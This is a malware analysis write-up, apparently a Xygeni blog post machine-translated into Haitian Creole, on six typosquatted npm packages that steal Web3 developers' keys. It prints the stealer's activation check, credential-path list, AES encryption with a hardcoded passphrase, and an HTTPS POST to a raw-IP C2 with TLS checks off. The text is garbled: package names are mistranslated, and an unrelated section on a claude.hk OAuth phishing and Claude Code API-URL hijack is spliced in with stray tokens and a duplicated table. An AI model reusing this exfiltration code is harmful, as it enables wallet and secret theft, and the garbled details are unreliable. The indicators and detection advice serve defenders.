Atak EVMDeFi npm Typosquatting vòlè kle devlopè yo

Atak Typosquatting EVM/DeFi npm vòlè kle devlopè yo

TL; DR

Nan dat 6 me 2026, yon sèl piblikatè npm, namikazesarada010206, te pouse sis pakè move ki te vize ekosistèm devlopè Ethereum, Solidity, ak DeFi.

Pakè yo, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, epi web3-utils-core, te itilize non kredib ki fèt pou sanble ak bibliyotèk èd pou zouti Web3 popilè yo.

Tout sis pakè yo te genyen menm bagay la telemetry.js fichye. Fichye a te idantik an kantite okte atravè tout gwoup la, avèk SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Malveyan an pa egzekite lè enstalasyon an ap fèt. Pa gen okenn preinstall or postinstall zen. Okontrè, li aktive lè pakè a enpòte atravè require().

Detay sa a enpòtan.

Enplant lan ap tann jiskaske yon devlopè aktyèlman itilize pake a. Apre sa, li tcheke si estasyon travay la sanble ak yon anviwònman devlopman Ethereum / Solidity reyèl. Li chèche kle Alchemy oswa Infura, kle prive, mnemonik, kle deplwayè, oswa yon anyè Foundry lokal.

Si lame a koresponn, vòlè a kolekte kle prive SSH, depo kle Foundry / Geth / Brownie wallet yo, .env* fichye, ak varyab anviwònman sansib. Li chifre pake a ak AES-256-GCM lè l sèvi avèk yon fraz modpas ki kode an fè epi li èksfiltre li nan yon pwen final IPv4 C2 kri ak verifikasyon TLS enfim.

Sistèm Avètisman Bonè Kont Malveyan (MEW) Xygeni a konfime tout sis pakè yo kòm move. Pakè rapò pou retire pakè rejis npm lan annatant.

Gwoupman an: Sis Pakè, Yon Editè

Kont piblikatè a namikazesarada010206 te lye ak adrès Gmail ki pa verifye a namikazesarada010206@gmail.com.

Kanpay la te parèt kòm yon piblikasyon yon sèl jou nan dat 6 me 2026. Tout sis pakè yo te vèsyone kòm 1.0.0, pa t gen okenn depandans nan moman ekzekisyon an, epi li te sèlman voye twa fichye:

package.json index.js telemetry.js

Yo te deklare menm depo sous la tou:

https://github.com/harunosakura030303-maker/evmchain-config

Eskanè MEW yo te detekte twa premye pakè yo nan premye piblikasyon an. Twa lòt yo te fòse apre yon revizyon analis sou pwofil npm editè a. Yon fwa menm pakè ki idantik an okte yo te... telemetry.js te konfime atravè gwoup la, yo te fèmen kòm move pa konsistans.

Pake Version npm Pibliye Tikè MEW Vèdik
viem-nwayo 1.0.0 2026-05-06 01:38:44Z # 51049 Move
viem-utils-core 1.0.0 2026-05-06 # 51050 Move
zouti-nwayo-chapo-difisil 1.0.0 2026-05-06 # 51051 Move
evm-utils 1.0.0 2026-05-06 # 51069 Malveyan, pa konsistans
fondri-itilite 1.0.0 2026-05-06 # 51071 Malveyan, pa konsistans
web3-utils-core 1.0.0 2026-05-06 # 51070 Malveyan, pa konsistans

Estrateji nonmen an senp men efikas.

Pakè sa yo pa imite non egzak ki soti nan konpayi ki deja egziste yo. Okontrè, yo itilize sifiks "itilite" ki posib tankou -core, -utils, epi -utils-coreSa fè yo sanble ak bibliyotèk konpayon yon devlopè ta ka espere wè toupre zouti Web3 yo.

Pakè move Sib lejitim
viem-nwayo viem, yon kliyan Ethereum TypeScript popilè
viem-utils-core viem
zouti-nwayo-chapo-difisil kas, yon anviwònman devlopman Solidity endikap
evm-utils Espas non zouti EVM jenerik
fondri-itilite fondri, yon chèn zouti Solidity
web3-utils-core web3-utils, asistan Web3.js

Sa a se modèl "pakè siplemantè" a: se pa "Mwen se vrè pakè a," men "Mwen sanble yon asistan rezonab bò kote vrè pakè a."

Pou devlopè DeFi k ap deplase rapidman, sa sifi pou kreye risk.

Ki sa k rive lè yo enpòte pakè a

Chèn atak la piti, fèt espre, epi li konsantre sou anviwònman devlopman kriptografik.

Pa gen okenn kwòk enstalasyon. Okontrè, chak pake gen ladan l yon index.js ki ekspòte fonksyonalite stub epi answit chaje modil telemetri move a.

require('./telemetry').init();

Sa vle di malveyan an aktive lè yo enpòte l premye fwa.

Sa itil pou atakè a sou plan operasyonèl. Anpil eskanè ak sandbox konsantre sou konpòtman an lè enstalasyon. Pake sa a tann jiskaske yon devlopè, yon script konstriksyon, yon suite tès, oswa yon chemen ekzekisyon itilize li.

Pòtay Aktivasyon: Sèlman Deklanche sou Estasyon Travay Devlopè Web3 Reyèl yo

Pati ki pi enpòtan nan enplant lan se pòtay aktivasyon an.

Malveyan an tcheke varyab anviwònman yo jwenn souvan sou machin devlopè Ethereum / Solidity yo:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Li tcheke tou si Foundry sanble enstale:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Si ni youn nan kondisyon yo pa vre, fonksyon an retounen epi li pa fè anyen.

Sa fè pake a pi silansye nan anviwònman analiz jenerik. Yon sandbox san Foundry, kle Alchemy, kle Infura, kle prive, oswa mnemonik ka wè yon enpòtasyon ki sanble inosan.

Sou yon lame ki koresponn, malveyan an ap tann 60 a 90 segonn anvan li kolekte:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Reta a diminye korelasyon evidan ant enpòtasyon ak èsfiltrasyon. .unref() Apèl la pèmèt tou pwosesis lame a sòti nòmalman si pake a te enpòte nan yon script ki pa dire lontan.

Sa a pa yon konpòtman ki fè bwi tankou kraze-epi-pran. Li se yon vòlè siblé ki fèt pou evite kouri sof si anviwònman devlopè a vo vòlè ladan l.

Sa vòlè a kolekte

Yon fwa pòtay aktivasyon an pase, malveyan an kolekte nan sous ki pi enpòtan nan devlopman Web3: kle prive, depo kle bous, kalifikasyon deplwaman, sekrè nwaj, jeton npm, ak konfigirasyon pwojè lokal la.

sous Sa ki kolekte
pwosesis.anviwònman Nenpòt varyab ki koresponn /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fichye ki gen PRIVATE KEY oubyen BEGIN OPENSSH, ki gen ladan tout kontni fichye a
~/.foundry/keystores/* Fichye kle bous Foundry
~/.ethereum/keystore/* Fichye kle bous Geth yo
~/.brownie/kont/* Fichye keystore bous Brownie
${cwd}/.anviwònman Kontni konplè dosye a
${cwd}/.env.local Kontni konplè dosye a
${cwd}/.anviwònman.pwodiksyon Kontni konplè dosye a
${cwd}/.env.devlopman Kontni konplè dosye a
non_ost() Metadone lame a
kripto.randomUUID() Idantifyan viktim/sesyon
Date.now() Timestamp koleksyon an
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Jeton ATTA yo se:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nou pa t kapab konfime si telemetri a te soti nan pwòp analiz operatè a oswa yon kanal monetize apa. Jeton ATTA yo se menm nan tou de echantiyon nou te egzamine yo.

Gwoupman B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

Echantiyon 1ye avril la se branch kanpay la ki pi brit e ki pi bonè.

heibai:2.1.88-claude.hk-4 te pibliye pa wuguoqiangvip28, yon kont ki te kreye 7 jen 2025. Pakè a te vèsyone tèt li eksplisitman kont done lejitim yo 2.1.88 Liberasyon antropik.

Li pa okipe CA-cert MITM lan. Okontrè, li bay itilizatè a manti sou pwen final OAuth la.

Ajout move yo anplis sous Claude Code ki te koule a gen ladan yo:

sous Sa ki kolekte
pwosesis.anviwònman Nenpòt varyab ki koresponn /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fichye ki gen PRIVATE KEY oubyen BEGIN OPENSSH, ki gen ladan tout kontni fichye a
~/.foundry/keystores/* Fichye kle bous Foundry
~/.ethereum/keystore/* Fichye kle bous Geth yo
~/.brownie/kont/* Fichye keystore bous Brownie
${cwd}/.anviwònman Kontni konplè dosye a
${cwd}/.env.local Kontni konplè dosye a
${cwd}/.anviwònman.pwodiksyon Kontni konplè dosye a
${cwd}/.env.devlopman Kontni konplè dosye a
non_ost() Metadone lame a
kripto.randomUUID() Idantifyan viktim/sesyon
Date.now() Timestamp koleksyon an

Lis sib la trè espesifik. Sa a se pa vòl navigatè jenerik oswa èksfolyasyon kalifikasyon laj. Li vize devlopè ki bati, teste, deplwaye, oswa opere aplikasyon Ethereum.

Enklizyon keystore Foundry, Geth, ak Brownie yo patikilyèman enpòtan. Fichye sa yo ka reprezante aksè dirèk nan bous oswa idantite deplwaman. Si atakè a ka asosye yo ak modpas, mnemonik, oswa sekrè anviwònman, yo ka kapab deplase lajan, pran pòz deplwaè, oswa konpwomèt operasyon kontra entelijan yo.

Chifman Anvan Èksfiltrasyon

Malveyan an chifre done yo kolekte anvan li voye yo.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Modpas ki kode an fè a se:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Chaj final la vlope kòm JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Chifreman pa fè malveyan an pi avanse poukont li. Sepandan, li fè enspeksyon rezo a pi difisil. Yon defansè k ap siveye sòti a ta wè yon chaj JSON, men li pa ta wè kle yo vòlè a, dosye bous yo, oubyen .env kontni san fraz modpas ki kode an fè ak lojik dechifreman an.

Èksfiltrasyon nan yon IPv4 C2 kri

Chemen èksfiltrasyon an kode an dirèk:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malveyan an voye done bay:

https://76.13.37.80:8443/api/v1/telemetry

De detay remakab.

Premyèman, C2 a se yon adrès IPv4 kri olye de yon domèn. Sa retire nesesite pou anrejistreman domèn epi evite kèk deteksyon ki baze sou domèn.

Dezyèmman, verifikasyon TLS la enfim avèk:

rejectUnauthorized: false

Sa pèmèt malveyan an aksepte nenpòt sètifika, menm sètifika ki siyen pa li menm. Nan lòt mo, atakè a jwenn transpò chiffres san li pa bezwen yon sètifika piblik valab.

Pa gen lojik re-esè epi pa gen lame rezèv. Erè yo vale an silans. Sa kenbe pake a an silans si C2 a offline oswa enaksesib.

Poukisa Kanpay sa a enpòtan

Pifò pakè npm move ki vize devlopè yo ap pouswiv kalifikasyon laj: jeton npm, kle AWS, jeton GitHub, oubyen .npmrc dosye.

Kanpay sa a diminye sib la.

Li chèche siy ki montre machin nan se pou yon devlopè Ethereum oubyen Solidity. Apre sa, li rale egzakteman byen ki enpòtan nan anviwònman sa a: kle bous, kle prive, mnemonik, kle deplwayè, .env fichye, ak kle SSH.

Sa fè kanpay la pi danjere pou ekip Web3 yo pase yon vòlè npm jenerik.

Yon enfeksyon ki reyisi ka ekspoze:

  • Bous deplwaman
  • Kle administrasyon kontra entelijan
  • Kle founisè RPC yo
  • Kalifikasyon deplwaman nwaj la
  • jeton piblikasyon npm
  • Aksè SSH pou devlopè oswa bati enfrastrikti
  • Sekrè pwojè ki estoke nan .env dosye
  • Depo kle bous pou Foundry, Geth, oubyen Brownie

Non pakè yo montre tou yon jeni sosyal klè. Yo vize ekosistèm devlopè Web3 la atravè non zouti familye: viem, hardhat, foundry, evm, epi web3.

Aktè a pa bezwen konpwomèt pwojè reyèl yo. Yo sèlman bezwen yon devlopè pou enstale sa ki sanble yon pake konpayon rezonab.

Endikatè Konpwomi ak Deteksyon

Pakè ak Editè
Jaden Valè
piblikatè npm namikazesarada010206
Imèl piblikatè a namikazesarada010206@gmail.com
imel verifye Non
SCM verifye Non
Nòt repitasyon 1.0
Kontribisyon viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
vèsyon Tout 1.0.0
Repozitwa sous https://github.com/harunosakura030303-maker/evmchain-config
Konfime move Tout sis pakè yo
Rezo
Kalite Valè
Pwen final C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Pò C2 8443/tcp
Konpòtman TLS rejteSan otorizasyon: fo
Schèma chaj itil {"v":2,"iv": "d": "t": }
Dosye ak Hash
Kalite Valè
telemetri.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Layout pake a package.json, index.js, telemetry.js
Konte dosye 3
Gwosè total apwoksimatif 3.4 KB

Siyal Aktivasyon

Malveyan an tcheke pou varyab anviwònman sa yo:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Li tcheke tou pou:

~/.foundry/

Chemen Lame Sib yo

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Koleksyon Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Nòt Deteksyon

Plizyè règ ka kenbe kanpay sa a san yo pa bezwen yon analiz konpòtman konplè.

Premyèman, eskane fichye lock yo pou sis non pakè move yo:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Nenpòt match nan package-lock.json, yarn.lock, pnpm-lock.yaml, Oswa node_modules Yo ta dwe trete istwa a kòm yon evènman grav.

Dezyèmman, siveye pwosesis Node.js k ap li chemen keystore bous la:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Sa raman yon konpòtman lejitim pou yon pake enpòte kòm yon depandans èd. Li sitou sispèk lè gen aktivite rezo sortan ki swiv li.

Twazyèmman, bloke oswa avèti sou koneksyon HTTPS pou:

76.13.37.80:8443

Sitou lè chemen demann lan se:

/api/v1/telemetry

Katriyèmman, chèche pakè npm ki konbine karakteristik sa yo:

  • Editè ki fèk parèt oubyen ki pa gen anpil repitasyon
  • Kont Gmail ki pa verifye
  • Non pake Web3-adjasan
  • Pa gen okenn istwa depo ki gen sans
  • Ti aranjman pake
  • index.js ki chaje yon dosye telemetri oswa yon dosye èd
  • Pa gen depandans sou ekzekisyon
  • Koleksyon varyab anviwònman sansib
  • Aksè nan depo kle bous

Modèl sa a pi itil pase yon sèl IOC paske pwochen pake a ka chanje adrès IP a men kenbe menm lojik siblaj la.

Lis Verifikasyon Repons Konpwomi

Si yon devlopè te itilize youn nan sis pakè yo epi anviwònman li koresponn ak pòtay aktivasyon an, trete estasyon travay la kòm konpwomèt.

Sa gen ladan machin ki gen Foundry enstale, kle Alchemy oswa Infura nan anviwònman an, kle prive, mnemonik, oswa kle deplwayè.

Repons rekòmande:

  • Dekonekte òdinatè a nan rezo a.
  • Prezève node_modules, fichye lockfiles, istwa shell, ak jounal ki enpòtan pou rechèch forensik.
  • Wotasyon chak pè kle SSH anba a ~/.ssh/.
  • Wotasyon kle bous pou chak depo kle anba ~/.foundry, ~/.ethereum, epi ~/.brownie.
  • Deplase lajan nan nouvo bous.
  • Vire chak sekrè ki estoke nan .env* fichye nan depo kote devlopè a te travaye a.
  • Wotasyon sekrè anviwònman ki koresponn ak regex koleksyon an, tankou kle AWS, jeton npm, jeton deplwaman, kle API, kle prive, grenn, ak mnemonik.
  • Odite aktivite cloud, npm, GitHub, founisè RPC, ak blockchain depi premye enstalasyon pake a.
  • Re-imagine estasyon travay la anvan ou itilize li ankò.

Sa Defansè yo ta dwe pran nan tèt yo

Kanpay sa a montre kijan typosquatting npm ap evolye nan ekosistèm devlopè ki gen anpil valè.

Aktè a pa t bezwen pèsistans. Yo pa t bezwen obfuskasyon. Yo pa t menm bezwen ekzekisyon an lè enstalasyon an.

Okontrè, yo te konte sou twa bagay:

  • Non pakè Web3 ki posib
  • Aktivasyon sèlman sou machin devlopman kriptografik reyèl
  • Vòl dirèk dosye ak sekrè ki pi enpòtan pou devlopè Ethereum yo

Sa fè kanpay la fasil pou rate lè w ap gade l an jeneral epi li danjere lè l rive nan bon anviwònman an.

Pou ekip Web3 yo, leson an klè: trete non depandans yo kòm yon pati nan modèl menas ou a. Yon pake ki sanble ak yon asistan inosan ka toujou vin chemen ki pi kout pou konpwomèt bous la.

Rapòte bay rejis npm lan. Nou pral mete ajou pòs sa a lè yo retire kont piblikatè a ak pakè yo.

zouti-lojisyèl-sca-tools-konpozisyon-analiz-zouti
Priyorize, korije, epi pwoteje risk lojisyèl ou yo
Jwenn Kont Gratui ou.
Pa gen kat kredi obligatwa.

Pwoteje Devlopman ak Livrezon Lojisyèl ou

avèk Xygeni Product Suite